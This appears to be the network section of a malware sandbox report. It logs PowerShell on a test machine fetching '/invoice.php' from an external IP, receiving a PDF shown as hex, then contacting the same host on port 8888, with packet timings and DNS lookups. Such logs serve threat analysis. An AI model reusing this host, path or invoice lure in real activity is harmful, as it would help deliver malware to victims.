Jan 10, 2025 19:42:00.533731937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.533778906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.535768986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.536506891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.549964905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.555407047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.555428982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.555444956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.555457115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.555471897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.555481911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.555499077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.555553913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562071085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562082052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562109947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562124968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562125921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562134981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562149048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562159061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562184095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562212944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562228918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562283993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562335014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562347889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562359095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562370062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562387943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562397957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562416077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562429905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562434912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562448025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562457085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.562459946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562470913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.562513113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587409019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587419987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587430000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587441921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587454081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587481976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587493896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587493896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587506056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587553024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587583065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587708950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587729931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587744951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587757111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587759972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587781906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587793112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587798119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587805986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587825060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587833881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587848902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587858915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587865114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587872028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587882996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587891102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587901115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587918997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587930918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.587934017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587944031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.587976933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.618999958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619012117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619024038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619034052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619054079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619055033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619066000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619080067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619091988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619106054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619117022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619123936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619134903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619155884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619170904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619180918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619188070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619195938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619209051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619227886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619232893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619246006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619259119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619267941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619270086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619285107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619297981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619306087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619330883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619353056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619357109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619385958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619399071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619405985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619410038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619434118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619457960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619476080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619501114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619514942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619522095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619527102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619540930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619551897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619564056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619568110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619581938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619602919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619641066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619693995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619719028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619729042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619741917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619752884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619765997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619776964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619776964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619793892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.619823933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619847059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.619885921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620014906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620028019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620040894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620053053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620064974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620073080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620079041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620093107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620109081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620146990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620174885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620187044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620199919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620212078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620227098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620238066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620249987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620249987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620264053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620277882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620290995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620299101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620318890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620328903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620333910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620348930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620359898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620373011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620382071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620385885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620417118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620424032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620443106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620465994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620477915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620480061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620493889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620506048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620513916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620518923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620533943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620539904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620548964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620560884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620572090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.620583057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.620609045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.642335892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642349005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642359972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642369986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642381907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642383099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.642394066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642410040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642421007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.642424107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.642474890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.649199963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649213076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649223089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649250984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.649279118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.649282932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649296045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649306059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649317026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649328947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649338961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.649343014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.649385929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674534082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674550056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674561024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674581051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674596071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674606085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674607992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674621105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674635887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674649954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674686909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674710035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674727917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674735069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674738884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674745083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674804926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674808025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674823046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674834967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674844027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674860001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674889088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674896955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674900055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674911022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674926996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674932003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674947977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674964905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674967051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.674973965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674982071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.674992085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.675028086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.705699921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705718994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705732107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705741882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705750942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.705764055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705779076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705787897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705789089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.705797911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705837965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.705852032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705876112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705884933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.705893993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705899000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705904961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:00.705954075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:00.739335060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:01.052165031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:01.494005919 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:01.590339899 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:01.590455055 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:01.596877098 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:01.601733923 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:02.391027927 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 19:42:02.434855938 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 19:42:03.459075928 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:42:14.630866051 CET	52845	53	192.168.2.4	1.1.1.1
Jan 10, 2025 19:42:30.602333069 CET	56471	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:42:14.630866051 CET	192.168.2.4	1.1.1.1	0xe6f6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:42:30.602333069 CET	192.168.2.4	1.1.1.1	0x1ee3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:42:14.638772011 CET	1.1.1.1	192.168.2.4	0xe6f6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:42:30.610341072 CET	1.1.1.1	192.168.2.4	0x1ee3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	2316	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:41:59.208194971 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:41:59.969118118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:41:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:41:59.969145060 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:41:59.969158888 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
